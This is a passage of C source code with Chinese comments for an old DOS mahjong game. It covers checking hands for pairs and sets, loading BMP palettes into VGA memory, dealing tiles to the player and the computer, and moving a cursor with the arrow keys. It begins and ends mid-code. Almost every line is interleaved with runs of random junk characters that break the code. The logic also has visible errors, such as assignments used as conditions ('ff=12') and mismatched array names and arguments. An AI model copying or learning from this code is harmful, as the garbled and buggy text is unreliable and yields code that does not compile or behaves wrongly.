5 Q* D* J3 q( o}
# F2 V; F1 x1 Z+ ]# Eif(istwo(test))# m9 S1 i8 F7 T" }
{ ill=0;9 t/ v  p) I# e7 F# Q& v# e
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
  O# U! w( f7 P, y+ n, I8 D# }{if(kl==i)$ i# X* |$ y( Z  x
{' M! j/ I( g1 u7 k6 V0 d5 V
kl=kl+2;
, A1 i1 G$ |0 v7 Z4 ~if(kl==8)% k" N2 A8 r6 x3 a
break;
8 d* k  {  ?7 k- r! b3 c9 b2 Y}( K; t2 Z9 a$ @7 S% Z( U. e9 D
test[ill++]=pt[kl];; u% S2 ~% ^  p; B8 q" b
}
7 b# g! c$ H6 t% O& Risthree(test,tt-2); ! a$ m# q: l% Q/ R
}4 C# {# M9 i# q' r  x
} 0 \& R0 z3 D2 V1 I2 x) O
else if(tt==9)8 _0 {! z6 I4 s) w! U5 e# s# j5 h
isthree(pt,tt);6 p$ U! y1 S$ E: m! w
else if(tt==11)' I( e3 A4 V# f
for(i=0;i&lt;10;i++)
* X, J$ D' f$ u8 m3 O{
" p2 l- c1 O( B6 b$ z, {for(j=0;j&lt;2;j++)) ~- L) q# T; T" i; s. [+ N, d% H+ @
{test[j]=pt[i+j];
9 Z. N" i! n( k2 a) |0 f" B2 d}! ?2 V" W6 W) u7 ~6 w
if(istwo(test))4 r9 _. c& N! b7 J  Z
{ ill=0;
" ?. P) q  I& Z7 d( g2 ]4 Ifor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/7 d  K8 g' x" t6 A
{if(kl==i)
& o* v: u8 O5 T# {2 s4 r+ x& {# u{9 y1 m8 o6 ^; O
kl=kl+2;
( x3 ?. K" B0 D* `. ?* @% {if(kl==11), m# }( ^! c- i2 k" T- h8 Z
break;
+ f; Y  u2 f! N3 C1 t  n) O" ^}
  U9 A6 f$ ?  ?test[ill++]=pt[kl];" h" i8 N- q6 v
}& _$ K" ]' w4 R1 f) |9 G
isthree(test,tt-2); 5 p) P, n- v6 E8 g9 z) `
}" F: T$ ], G& Q* }. ]) r
}
/ B* P& A8 \6 @9 ^- @* k( R8 Uelse if(tt=12)# [# P  q: s- r
isthree(pt,tt);9 C: a+ ]5 N* ~& Z  U0 N4 Q
else if(tt=14)' L9 E+ @1 K& S5 Q
for(i=0;i&lt;13;i++)
! n& R9 E  W; m7 ^7 w0 y$ r{
/ y% A/ n% }: k) v6 ]; q9 vfor(j=0;j&lt;2;j++); d8 l4 F6 B6 V7 W% C& J
{test[j]=pt[i+j];
7 ]% B6 m/ t& a) K}
$ L9 v# B  b/ z* C( uif(istwo(test))
/ z+ ]( W' R1 V0 P. Z' h{ ill=0;9 u1 N: W9 p2 v' B  Z
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/1 p# h# E- j* E
{if(kl==i)- F  [) [2 Q0 Q2 _
{5 P0 Z) Z) `' a8 |& C6 H& q9 I% U
kl=kl+2;
- i: h: x' B" hif(kl==14). H, n$ ~# C* Z% z3 [+ @5 N0 k2 l9 v% _
break;; c: X/ H4 H) `; ]- Q  M
}
- R3 v( o9 Q4 Z; g) V+ V: c$ j4 _& l# Ftest[ill++]=pt[kl];
; s5 S' ~  Y, s9 J- Y8 @: d- i}
( |, {) _1 w6 L" z( {2 Tisthree(test,tt-2); ) z. b( B# S6 J/ z, S% a
}" s0 q2 b+ i$ b6 J# ]9 M- J# _+ l1 l6 ?; S
}
) i: G# I4 {7 W5 ~/ z" p# g; aif(ii==2). `( D+ b- d( e! B3 g& t
istwo(pi);" u' d* ^7 P6 q, T# k
else if(ii==3)
8 a- N$ M; n9 N3 q( gisthree(pi,ii);
) d: h" N- Z8 o# Q/ \+ H8 lelse if(ii==5)
- o1 ~3 A2 V/ k; H7 J# O4 X( F/*pi[5]原始牌数组,假设已经升序排列*/
+ ^  q6 p- }. {4 g: B3 S" h, C/*test[3]用来放置测试牌的数组*/
) s% h4 N0 n8 J3 h+ R7 u. N6 ffor(i=0;i&lt;4;i++)
( S* q( z8 n9 }  M7 I{
: z5 F* ~# c# U) ^2 ]$ o) }, w" pfor(j=0;j&lt;2;j++)
8 x2 G/ q& Y; B* E; ]{test[j]=pi[i+j];
; E( }2 k4 J& ^$ h$ C}# u/ f+ y4 S8 g# @) |
if(istwo(test))
# J" }6 s% R9 K8 q4 r2 x8 w{ ill=0;7 c3 |) t) M, Y5 S3 R- O# R) R
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
* f" {6 n, B" Y: S{if(kl==i)1 z1 h/ l$ q* U' ?1 H
{/ k$ [5 y3 k3 \. @
kl=kl+2;
0 {. j8 F- w1 B* H, D; ?if(kl==5)+ D4 v) q" ~6 g  J; V; b4 d
break;
" k5 a9 o6 f5 Q/ f- |. Q}/ k! a/ \2 @! B+ J
test[ill++]=pw[kl];
; y6 `0 Q1 K. R* E& {}  d% f3 r5 p" M, W
isthree(test);# o/ {5 k3 m( Q" ^
}0 c0 \- ^( ~7 T! o# R
}
/ D& v1 R7 t; f7 e7 lelse if(ii==6). J/ h( a# _6 V& @' D6 ^
isthree(pi,ii); 0 \& q  ~7 R0 ]7 ~% h( E. k
else if(ii==8)
4 _- [: H5 h+ R7 Pfor(i=0;i&lt;7;i++)7 u) ?& u0 `* ?. Z+ P9 E
{0 x& a: B( l$ w6 C/ R8 K
for(j=0;j&lt;2;j++)9 F& K# x* A) T
{test[j]=pi[i+j];
4 e4 \3 ~$ p  D+ M}9 F5 M. B  v: y0 R
if(istwo(test))
1 n  M( z" d' t8 i0 @{ ill=0;; x" ~& h* o2 o9 \$ {" b) }5 y0 l
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/. A1 M1 N) U! ~8 l/ T
{if(kl==i)
4 f' G7 d0 M' N! {8 k  C( ^{
* ]9 v1 x+ i% y9 ~1 `) Wkl=kl+2;
0 h0 N* H- J! N; l1 q5 Uif(kl==8)+ }( \! {* q8 V7 r
break;
/ B9 \; u* z1 L9 |! t! O! P9 J}
5 [1 @& A1 n+ ?( \- P9 otest[ill++]=pi[kl];) H; @* B; v; K4 z) U8 Q. w
}1 z6 M2 o; M) J, c( p0 z4 r
isthree(test,ii-2);
% s. R  ~; q! \; o' F" {( O* ?}; s, X* j9 l& i% A0 O' V* O
} ) v6 }/ s4 G# ]5 A
else if(ii==9)
5 Y! ~# W+ P/ Y1 E' V6 G* Uisthree(pi,ii);
  j( F& S& T; i6 pelse if(ii==11), }  U0 c2 S7 y) r$ S9 @7 t
for(i=0;i&lt;10;i++)
( ?3 Z" {+ w" {$ C3 W% Z{( g4 }6 g/ K$ {0 t5 d3 q5 g
for(j=0;j&lt;2;j++)3 S7 J, c- F: S4 P
{test[j]=pi[i+j];
( V6 `) y9 _2 o2 z}3 q- ^0 I$ e& ~5 s) n$ K
if(istwo(test))
; T" O3 ^. n0 M5 T0 Q" w{ ill=0;
* f' e. |1 d. U* B! G; pfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
) o0 T: ^3 |6 P! A{if(kl==i)9 n: G* X: T9 i- {7 I8 |3 x
{
- D" S2 @0 k+ m$ E& c6 Wkl=kl+2;
3 Y. _' P2 R3 R1 Y" t: v+ Iif(kl==11)
" O1 T6 ]- b; e5 Tbreak;0 I: n1 `$ `4 J
}5 U" S4 P1 V, ?) }) ~
test[ill++]=pi[kl];8 Y  V3 Q# k; P6 d, g; z/ z. t
}
. n9 v& q6 ~$ eisthree(test,ii-2); 9 }# M% ?! P* V8 R
}
( a4 j! L" F7 d- s} - ^5 l/ w. n$ O. i, b, L
else if(ii=12)8 ?4 K) u! o' f; a
isthree(pi,ii);- t8 h. m( U% e7 w, o( f
else if(ii=14)( F4 P" U! A/ V
for(i=0;i&lt;13;i++)
" q2 b# p3 r2 u9 T+ a{! @  W8 `) ?: L, B) Z9 K2 J
for(j=0;j&lt;2;j++)# H* K+ f1 _; E7 ^( U
{test[j]=pi[i+j]; : E# c/ c  Y, A* C" V& i. Z
}
6 f2 U- j+ h9 L9 Q; r8 a6 wif(istwo(test))
2 i- _3 S6 _# M! F{ ill=0;+ E/ H$ C/ V  W5 V% B8 Q2 y
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
5 K6 z+ m2 h: X, W/ m1 c{if(kl==i)
" c! K7 O7 O9 v6 ?- T{# L+ J. t- |, f: `+ ?* o. g' `
kl=kl+2;
% n: u7 }2 E5 |7 a2 oif(kl==14); n/ y' w* X; u# G2 v; {
break;, @* i5 U  R) n3 [& S' f
}! b7 U* f# E3 l0 S
test[ill++]=pi[kl];) e* ~9 d$ Z; @0 G8 _
}
9 F9 w/ E/ f$ Y8 q- G1 O: Cisthree(test,ii-2);
3 C* m" x$ M: v/ w( p/ [8 d}! S2 v1 l" r/ \3 N
}
' s9 M9 u; P! R0 Z8 C3 Y% Oif(ff==2)/ H6 L6 L6 G- J: c! m
istwo(pf);# j1 d% l0 j4 c* h0 p+ h  d8 X
else if(ff==3)
$ x& f0 a- F* }$ H; A9 M: y* fisthree(pf,ff);
  E9 U$ C. W) f; U( Nelse if(ff==5)
1 g! v7 Q/ s. n/ W  l% `% Y! s/*pf[5]原始牌数组,假设已经升序排列*/+ k& v! |$ R2 i+ u
/*test[3]用来放置测试牌的数组*/
' S( G( g! }1 I5 vfor(i=0;i&lt;4;i++): q, o6 p  L4 j* w& B: l  F8 u6 e
{
- G/ R0 e0 g, I7 O1 `* q2 Gfor(j=0;j&lt;2;j++)
, F  }: b5 v. b- G{test[j]=pf[i+j];
6 T) z9 ^! g5 s7 s4 Y}; S1 K; z) I# T7 t8 O$ Q* G  x
if(istwo(test))
. \2 C% n$ Y1 X8 Q3 t9 c0 @{ ill=0;
+ Y" \  `5 f) M3 f! Zfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/" X: s( P4 |+ D
{if(kl==i)
( u8 {% K/ `8 Y5 ^) s" f{
! n. b6 h/ C8 d- V  B3 u( Pkl=kl+2;) ]2 P1 f& p: ?3 ?
if(kl==5); `% h. ?5 a. v' u
break;+ d5 d$ E; E" a5 I
}
7 p9 W$ O' Y" r' h% R! rtest[ill++]=pf[kl];
( t2 v, ~3 A" [; S}# @) p7 v% _' Q' H4 m& X
isthree(test);* o6 X" ]% x1 Z) V3 M) f/ w8 P
}
+ Q) B$ b& V" N" o2 c/ Z}
' o" f4 t+ q8 X& j( z9 g' Zelse if(ff==6)0 l1 Y, y. p! v' f8 |
isthree(pf,ff); 5 F- [8 I' h8 `% j8 @! S0 J
else if(ff==8)3 M' h2 a! b5 {" Y. F- c+ S
for(i=0;i&lt;7;i++)
% @5 U% |  Z; V  |{8 @( D) \8 P& b
for(j=0;j&lt;2;j++)
! x# B2 f# T+ m% r( |{test[j]=pf[i+j];
0 n5 G9 I. f  d; e# f8 @0 a}
! N' ]8 c% i$ K. v% E7 V4 k& ^if(istwo(test))7 }5 b' Y; j! q3 G, y2 T" [# S+ Q+ r7 }/ L
{ ill=0;
$ I% M4 T: c  }6 m$ Afor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/" ]. d+ e) [! s$ I
{if(kl==i)9 ?- {# y9 W0 v) K
{/ _- h0 A' S; \7 v9 L" A! x& w
kl=kl+2;+ u% I6 w9 F; S
if(kl==8)* M2 p6 y6 S) r0 x; @
break;
2 ^' B9 c. A& i# c. S; M6 U}
+ H+ r' `: ~9 w% w6 f8 e! F3 U- atest[ill++]=pf[kl];1 r9 z$ A! z3 }' M" n
}0 i/ s1 O# s  ~; `% n9 J
isthree(test,ff-2); 5 q8 W6 q* |" s! `! M7 v' l5 q
}  C$ B0 _+ ~$ Y, r7 q
} ' ^- z" {" A7 m( N/ ^! P3 {
else if(ff==9)
+ I+ y! v0 s, K( v7 misthree(pw,ww);, |& y# E  Q; G* z$ p7 Y" v) w
else if(ff==11)
( C3 q; t/ {. L; Q/ Lfor(i=0;i&lt;10;i++)
9 j' P- ^. l0 W3 {( F) n{
7 J+ W9 w5 z+ _% P2 C: |9 m8 jfor(j=0;j&lt;2;j++)
4 ^7 O5 d( S+ H! X{test[j]=pf[i+j]; # N: V$ o# `# L; V  [2 h6 o
}
: d) c7 b7 C' U3 N( g5 O$ z) Zif(istwo(test))
2 g' U. b2 a  c2 }- G# T{ ill=0;7 z5 Q  z5 i& a2 X  ^
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
6 r4 j( w- x) g4 c9 r{if(kl==i); G$ G! k! y$ ?0 O- i* W
{
3 x/ Q- t( z* {" v+ ekl=kl+2;
4 S# w, r, a5 S% V, kif(kl==11)/ o8 T9 A) Q# D% V; y7 w
break;# E4 |) K9 ^: z
}
0 w' {. r; w) E0 ttest[ill++]=pf[kl];
% h& s) b! L: ~0 C}
$ ~2 G# U6 C$ ]: m, ]; cisthree(test,ff-2);
8 {$ T2 D) @* Q/ q8 W}
' ~5 G2 `9 w+ o! M- B) N}
" \, \. G3 Y4 B) m$ T7 u3 W1 L4 aelse if(ff=12)
' |" w* P4 v& Z8 I3 i* q% oisthree(pf,ff);
/ }( f3 T5 g6 Celse if(ff=14)5 M8 n; Z$ S9 M' U+ `" A1 p
for(i=0;i&lt;13;i++)9 K( Z: R( G3 W# b) y9 Y8 N
{
( ~" T& u: D' ^, s. Zfor(j=0;j&lt;2;j++)
1 @) ?8 {& r, ^1 m{test[j]=pf[i+j];
8 M; R6 V$ [( l! Z6 t3 n}5 e: F9 z" ?' G( l* ~: }
if(istwo(test))& ]# V, z, Y- h
{ ill=0;  I4 c1 y3 b: h$ L( m
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/8 e, l. ^, R6 ?$ l$ C  Q" K) Y# @
{if(kl==i)
& I) W$ ?) _/ Y) s7 w4 X{& ?0 g/ s( W" A+ [6 ?8 b
kl=kl+2;6 s/ k* e0 G4 ^" q
if(kl==14): J# W# B  O6 L' ?  Q/ ?. a
break;, r- o/ E8 T; o) J* I9 C
}
( T! ?8 i3 K! Q7 y4 g/ l, s3 vtest[ill++]=pf[kl];; X- E) a0 d% o' X0 k" g5 t+ P1 W0 s
}
9 l  b# O# n0 _) Uisthree(test,ff-2);
* X; x4 i8 R0 m7 \8 t, q}( e  e! v6 \) }0 L, ~: I5 W; h
} 8 D. ]) f  R6 Q$ `' M
}
& [. y  v0 c0 s5 m9 J9 u0 Y  }void main(void)
% N8 r* v/ W6 t+ ^* G4 J2 \( H{" m1 n8 j) E3 D3 u* u
FILE *bmp;( ?; T. r8 Y! d5 o( n; P2 j
static char *name[2]={"ff.bmp","logo.bmp"};% c; R( [# v1 H/ f* O
char *p;5 [/ W  v$ c. y! B! [1 @) S
int *lingshi;
3 M6 ?/ ~" n+ p7 _+ O# y7 Sint x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;
/ F5 K1 t4 b8 y% Y& z, [! aint every=0,w=0,x1,x2,y1,y2,every1=0;6 x' O2 j0 _1 M& E) \" h
int logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;
7 o0 [+ m! [0 P0 I. n  t/ Z, kBYTE palette[256][3];
3 c4 P8 Q# j; o+ h. ]SETVGA;1 b1 O( S) {; [) a* h0 V. K
getch();
7 t1 m4 }/ c' ewhile(t--)
3 D/ q, H! ~( y& m{
) q* ~9 }9 \% k% |' D, Hbmp=fopen(name[t],"rb");
; g; G( d: b9 F/ ^8 ?fseek(bmp,54,SEEK_SET);
! ^- M: D& w% w& n' K, ~  d* F) zfor(i=0;i&lt;256;i++)
: d/ T9 I% {- o" X. q{* t6 @( d* B* N  R" @: Y
palette[2]=fgetc(bmp)&gt;&gt;2;- C. N7 a: T( ^
palette[1]=fgetc(bmp)&gt;&gt;2;) b# b5 y& h/ u& L
palette[0]=fgetc(bmp)&gt;&gt;2;
, ?6 x- h3 o& @4 h; k$ k( ]fgetc(bmp);6 h* |7 q2 Z6 m5 R# v( i
Set_Palette(i,palette[0],palette[1],palette[2]);# k5 u' {! |/ B0 j
}
$ T/ x! C7 z8 v$ l8 |5 f& T  Ffor (y=0;y&lt;200;y++)5 N" G5 b! J3 Z/ x3 T9 b9 Y
for(x=0;x&lt;320;x++)1 V: n+ V6 [% {$ h8 o1 a  F
pokeb(0xa000,y*320+x,fgetc(bmp));, o) t) [) j  L1 o( z. E
fclose(bmp);
8 y+ A" @' e5 Z$ X1 ogetch();
+ b$ I2 D. ^2 @2 z" c5 D+ q}5 s4 }7 T6 n  D( V( A/ x" C
getch();1 c- U- N/ ^& u# H* ]
fillRectangle(0,0,320,200,0);( ~% e4 g4 I9 z3 `. \  N
getch();
: t' x/ r" r9 }6 _( \) x' T$ w* E3 Qrandomize();
/ H+ P9 X% X- ~3 }; w* b+ Zme.m=onetothirteen;
8 z6 W( G* d/ w3 K! O+ Y( V( y- bwhile(me.m&gt;0) /*先循环,给自己拿牌*/
! V  x. N1 L) B& T2 D. j{  {& T0 o% K2 `2 f) X5 l
+ T6 `0 d/ t# ]" j( Y1 d* N
temp=random(136);6 A" H4 c' ?, j, L
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
5 N3 H& w% Z3 \8 @+ A2 T* C8 L4 C{
& H( b" g& L! O3 ]* Kme.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
4 [* @8 U  X! X6 B$ i! Bme.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/* s5 ]9 R# K* j2 ^' \
me.pp[n].number=temp; /*第几张,用来排序*/% q. ~6 @8 o: c) W3 ?# t
m[temp].data2=1; /*判断牌是谁的*/5 c( K6 E3 s7 Y$ N
kk=1;
" N: x9 }* p# e  [2 {# j}& k! M8 A+ W% v
if(kk==0) /*判断如果又选择了,就从新再选*/
5 \1 x6 |% J$ `& V{
- m2 Z4 y1 R- Gme.m++;( d- i, D% a1 o% S
n--;
6 |4 r2 F7 |5 g: E) A" D}, Q5 ~8 l4 l" y5 ~6 b, ?) y
me.m--;' N5 M/ Y" p% t8 i
n++;# S; V1 A% _! |  a' ^3 D
kk=0;$ J% j" e7 n  {% A5 B
}
* P. t6 I$ v' Q8 Z1 T' L$ \8 Xme.m=12;5 W4 T# ^" |/ l/ N, }6 q  x5 n9 ]
melipai(); /*理牌*/
8 E4 _/ T3 b4 P" n( \
. z  S- X- s- K% u1 Kn=13;; Y6 K+ ~' N2 n) b
while(l&lt;n). ~6 L6 K4 M  c+ D, w; P
{
5 T  l6 {$ `8 a. v( T/ [1 _z=z+20;7 u9 `$ @0 i9 m6 ?& H
showbmp(l);
' H* ^  T4 t! X8 `l++;2 I3 S! i. X0 G

, N. C6 |5 a# s$ ]/ Q" S7 F}1 M: Q% D- N$ o  L8 G6 P* d
randomize();
6 {$ ~4 I% F" ?3 c  r3 Ucomputer.m=oneorthirteen;8 A/ ~6 K( m1 {2 |+ p
n=0;6 S. Q( m* Z: z: A: z
while(computer.m&gt;0) /*循环,给对方拿牌*/. t/ _- K, l  T1 {9 z$ I
{: H; P& v3 i& a2 {( F! i6 x
temp=random(136);, J8 c3 m" C8 Q  D; Q
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)6 @' H4 d  d1 x8 f# M$ Y
{0 C& v* D7 g7 I! s
computer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
) i  {0 o# ?% ~. q8 Y/ s/ hcomputer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
0 t- f; v# C5 l/ J4 acomputer.pp[n].number=temp; /*第几张,用来排序*/
( W' U5 f$ h: gm[temp].data2=2; /*判断牌是谁的,2为电脑*/
1 f7 n- E0 h# l! ^) Skk=1;: v6 ~; h1 C" I! G
}
: J! A: v/ T( f  ^" V0 o' Cif(kk==0) /*判断如果又选择了,就从新再选*/
" I; ]9 q9 M1 P6 y- g# E4 S{
  W0 [1 S0 }7 X5 q) k: _computer.m++;& r- I; Z: F# d4 p' S' v! O' y1 J
n--;
) g2 B3 e' ]; V& j9 f! v}. R1 x9 B& c0 J  }+ o3 ?* A
computer.m--;
6 H  n+ r# T9 _* p. x' C/ @n++;% a( ^; v& v! p3 q* G2 {6 g
kk=0;
8 p! N3 w% i+ R}
( C$ e# B& z. C! H& ^0 V3 ~/ o4 Wcomputer.m=12;7 N/ U" ^% |4 W( t
comlipai(); /*电脑理牌*/; o$ l  g  {4 b2 t  ?5 k; [6 V
n=13;( k# W& a% V; v+ f1 P% L; }
while(ll&lt;n): ]2 v+ n7 x! Z0 b) H6 f
{
6 b# G# T( Q( o; y$ Uzy=zy+20;/ R& m- H7 Y. R) K+ K/ r
showybmp(ll);
# b9 P  V9 ?/ y" |ll++;3 }, n- Z* m# B0 n3 \8 o
}( J/ N8 ~# h8 N$ B
' c" [7 l4 R3 }) \) K
z=54400;
1 h2 h" k( @" o7 ~. gwhile(key!=ESC)
% _% }  L) u& S1 y) S{
, w) v2 ^2 U' K" ~7 y4 a6 `7 I" }& G6 [* y6 Q
keyy=bioskey(0);& a$ M8 w/ U9 O) S7 ~/ ~6 w
if(keyy==LEFT) ! d2 h5 |0 u/ j6 _0 [, C/ N0 q4 C& L
{ w=1;
1 E" g1 ~$ [  x) qif(every==0), n7 ^& L# z& C5 W" {0 \& S
{
3 _+ b  a4 z" n. L3 H# N7 Cevery=1;
& m3 h3 o' X) v9 t! c1 a, m, L# Iz=54440-5*320;7 `0 B( \* E0 d
! V- A0 M2 o3 L. S1 F9 _; n
}
" }1 F6 D- R; H& dzz=zz+5*320;
; y0 ]/ i8 e) Y  Q$ y4 mshowbmp(every);
: a$ x5 V' ]+ ?2 tif(every==0)
1 p% {7 u' [4 l- k+ V{5 c% F1 m. X& A5 Y& R* k( O% e
x1=20;+ j2 b, R9 T; X
y1=165;
/ `) @: r& D. S1 R0 hfillRectangle(x1,y1,x1+20,y1+4,0);
' W- I0 q: ~: W+ W( ~}
; t! d0 y! x/ |. k4 ^8 l3 [$ g$ c* q* _if(every==1)$ I9 M; d% X1 }; U  @
{
0 T5 y( O/ h- v) }- F9 w9 L2 Qx1=40;; c7 T/ S! X$ a& @- b% [
y1=165;7 K/ ]. J* |1 `" |
fillRectangle(x1,y1,x1+20,y1+4,0);' r' G0 `: M, A6 J
}
) P  w0 Q' ~  s& ^8 M/ i3 ?1 nif(every==2)9 G. @  r9 y2 k
{
5 T! R* |+ P% L/ H. p8 Ex1=60;4 X8 O% M7 m3 _
y1=165;! X2 o  B- z* ~% C, n' C
fillRectangle(x1,y1,x1+20,y1+4,0);9 K- j+ h) E8 @/ |/ w
}
, R" @% |$ Z3 {% r; rif(every==3)
/ u" r  q+ W7 c+ B{/ `5 [  @5 }$ p, _: B) d
x1=80;, o. W4 \# i+ i; E/ ]
y1=165;9 c; [7 b! \0 o) ]
fillRectangle(x1,y1,x1+20,y1+4,0);* j+ ]0 y  n! U" N$ _) I
}
0 i$ F* l0 o3 E& [9 o( B8 J" Lif(every==4)
  M: _5 g) a7 e- _) T{6 s+ G* g! E5 @( u( D$ }; @
x1=100;
* L; Z$ ^2 m1 `# \9 ]8 \y1=165;. h% _# c5 A8 i  S8 _( A/ r
fillRectangle(x1,y1,x1+20,y1+4,0);
) K* }/ Q1 W0 P$ H/ G}
, w! `* F( {& Dif(every==5)
# P" m' K0 K% {{: `1 Z  }! m" R$ p0 b* m$ I- _
x1=120;
4 L9 q8 R. Z/ |. Fy1=165;
- m) Y* a1 N3 [# a* A* V7 wfillRectangle(x1,y1,x1+20,y1+4,0);6 I4 K7 G5 T& v: J" Y: R, D
}
/ D' S% F9 f4 Z! f5 D1 \if(every==6)/ T' z& e5 w% B9 U
{
; X) R! U* M2 Qx1=140;4 k* j; ~2 q3 l
y1=165;
+ c5 P! B2 x% n; p6 ifillRectangle(x1,y1,x1+20,y1+4,0);
) y$ N6 ]/ J, Q+ u}
( j/ E; J* n0 B5 `( Iif(every==7). @9 B' Q. Y) \, ]( U, [
{/ V  l/ q: M+ {' B  d7 ?
x1=160;
& r' v( [% C0 D6 A' Ky1=165;
2 x. k2 q$ a' ]fillRectangle(x1,y1,x1+20,y1+4,0);% A2 {4 G/ V3 q" _( I% P- E: R  t
}
6 B# g( G) f. ^' m" _8 Jif(every==8)
, F' ?* [2 A5 G{
2 o. q2 d4 ?0 y* ?- ^: J! g0 wx1=180;: j& {) p6 q- w( @# O9 {
y1=165;
: p7 M3 x1 d6 F4 h6 d+ t: w- LfillRectangle(x1,y1,x1+20,y1+4,0);, n6 L9 S6 y# H- a! x
}
5 y- h8 r. [$ s. ~if(every==9)2 J3 S9 H5 K4 i- X( k
{
2 P' g3 \* a/ R7 r9 sx1=200;( r- g# t! t& N" X
y1=165;
5 m8 q9 m, V4 e9 h7 |fillRectangle(x1,y1,x1+20,y1+4,0);' ^3 k8 d- Z' g3 N) ~8 c- J( S' D
}
; A9 Y& u3 Z1 y- W% W4 ]5 d7 B* wif(every==10)
5 V' _# _  g% _6 V8 m{( Q7 R5 ?. \( y, }) M6 ]" L$ s2 z5 {
x1=220;& r) E# a! j0 J' D$ ^9 K9 S
y1=165;
" y8 ]9 P; L9 P* y+ D  |& }fillRectangle(x1,y1,x1+20,y1+4,0);& [7 D7 r& g4 p( m6 m7 f3 n' g
}" t* u/ b5 g# t3 O9 U4 t
if(every==11)
& H; f. n: U3 p9 N& t! y* B{. X2 j9 f3 G7 Z; E' z- M; B; j( ?
x1=240;
+ M5 o: Y) R# r7 f7 ?y1=165;
, @3 C2 i; U6 `' Z* {) L, E& D  n5 d; `fillRectangle(x1,y1,x1+20,y1+4,0);
# M( {- S7 h0 T}- Z4 B9 T% K5 i' A" z1 ]9 ~0 K
if(every==12)7 ~3 A4 U8 B' s2 Z0 z$ U& L, i
{- I) x* [" u* W/ ~2 j) m8 M
x1=260;
2 O6 S7 U% o/ [& O: \5 y2 cy1=165;
. b' F. U7 o( V: ]fillRectangle(x1,y1,x1+20,y1+4,0);
$ V- \! n) k' O  b}
4 |! L1 B' [& c  e, ?! k: f+ Tzz=0;
" G4 u/ a# n1 c2 m4 p; K. u. Cevery--;% @- L$ j$ I! s9 f4 J) V: v! G
z=z-20;3 r1 o. y; t  K  @$ t
}
  f4 w  A) L" B  Y1 d4 xif(keyy==RIGHT)
+ @0 n( q( R* _2 K' G{ if(w==0)
- j8 t& v1 ~2 ]+ H( t( O3 ]$ \/ ?2 S! ^{7 m: ~$ I' v7 {6 ^
z=54440-5*320;: a0 ~; E& [5 i' N& s
z=z-20;
+ R% ~& c2 q+ ww=1;
9 T, {9 [: x: w% ^( ~0 I- i/ }) L}
% T3 i# h/ L) Tif(every==12)
+ A! U! u5 r* O! d- Y5 E, z{
' `& u6 p! Z5 k8 H) y9 ~, q6 @+ i7 Eevery=11;
9 {4 X  w7 o- m" ?z=54640-5*320;- v  S( m5 r8 i( ~
}2 t; [! L# G5 C
zz=zz+5*320;4 m- e' n& O4 Z# Y$ ~" y
showbmp(every);
# ?! I% N% Z4 c  oif(every==0)
  E: _8 S3 E; S& c; H/ s" d/ z( g4 S{# E; A7 H+ Q9 z9 |9 M
x1=20;
8 }1 L* R* g7 G( iy1=165;
! p2 f1 R. k8 Q: z; T6 r2 ?fillRectangle(x1,y1,x1+20,y1+4,0);
0 A5 L+ E, d# w& C' s}
4 T% c4 v; x3 T0 X# Jif(every==1)
3 h/ z' F1 w% {3 O1 d{
$ `  w, U% }. T8 K/ l& |x1=40;2 t# L; L% d+ H  [  N
y1=165;0 y8 N' r5 q% @! S. G1 s- Y$ d9 s
fillRectangle(x1,y1,x1+20,y1+4,0);
/ F" f! R5 U  h}
: C; t9 Q( h: B- D) Sif(every==2)
: K0 B9 D% I& N! c" c: r$ d# Q{
3 H$ h6 f8 `9 @) O, v" ax1=60;
! l' m. b; g, L- G$ cy1=165;+ o. q$ E0 T( P! D6 Q
fillRectangle(x1,y1,x1+20,y1+4,0);9 i; U( A9 b+ I* [
}% A% p% p  P0 `2 ?) ^8 }1 f
if(every==3)
9 l- k& F$ S% p0 ~8 U8 f3 c2 D{
9 X5 j! B' F9 A0 e( Z- j. Hx1=80;$ F; r' ]+ G9 h& ~
y1=165;7 |& {! _! k3 m. F; i" R
fillRectangle(x1,y1,x1+20,y1+4,0);
2 I- Y5 G* c# y}% b& s- H& g5 U# g( R0 S
if(every==4)8 v$ t: C% k1 e, V% ~2 [: M
{/ f) \% y# v& F5 L$ Y7 Z) Z
x1=100;
( F. t0 |! g- q' p, G0 Qy1=165;
  D/ `- F7 r0 T- E; {fillRectangle(x1,y1,x1+20,y1+4,0);
$ F9 |% ~% P4 l}( e7 ?2 \/ S" a
if(every==5)
' }8 v% r; w6 ~7 ~{* C1 o0 @/ X6 h  P1 L0 E
x1=120;
& s7 ^$ W" X8 x' ky1=165;
" y# }/ \5 `6 P! Q: ~1 HfillRectangle(x1,y1,x1+20,y1+4,0);, M# x  V6 D6 T, x4 `, c  J1 z7 T4 ^
}
8 F$ V- A- d3 q  o  [  wif(every==6)( d+ s9 x! P8 i- R  @0 E" _( f
{4 }- l6 R6 c. d  c  L" D
x1=140;- b% z( F  t' D; h: f6 v& D# a
y1=165;
# V! T3 y: e9 N& o; WfillRectangle(x1,y1,x1+20,y1+4,0);1 d' H8 W! ^9 X& h+ J# L
}
, g# Y/ F" `2 V1 t/ Z3 _4 f( lif(every==7)3 C: e- o, k: M+ g- u- D
{7 n: ^) l. p% Q2 i* z. o' j7 _
x1=160;
7 k! N: T1 o4 J4 {9 x: W/ uy1=165;+ H9 s; L" q- A7 C. S# S
fillRectangle(x1,y1,x1+20,y1+4,0);
